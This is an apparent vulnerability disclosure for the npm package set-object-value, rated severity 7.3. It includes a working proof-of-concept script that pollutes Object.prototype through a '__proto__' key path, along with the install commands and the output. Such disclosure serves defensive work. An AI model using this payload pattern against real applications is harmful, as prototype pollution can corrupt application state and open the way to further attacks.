set-object-value

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

set-object-value is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var setObjectValue = require("set-object-value")
var obj = {}
console.log("Before : " + {}.polluted);
setObjectValue(obj, ['__proto__','polluted'], 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i set-object-value # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

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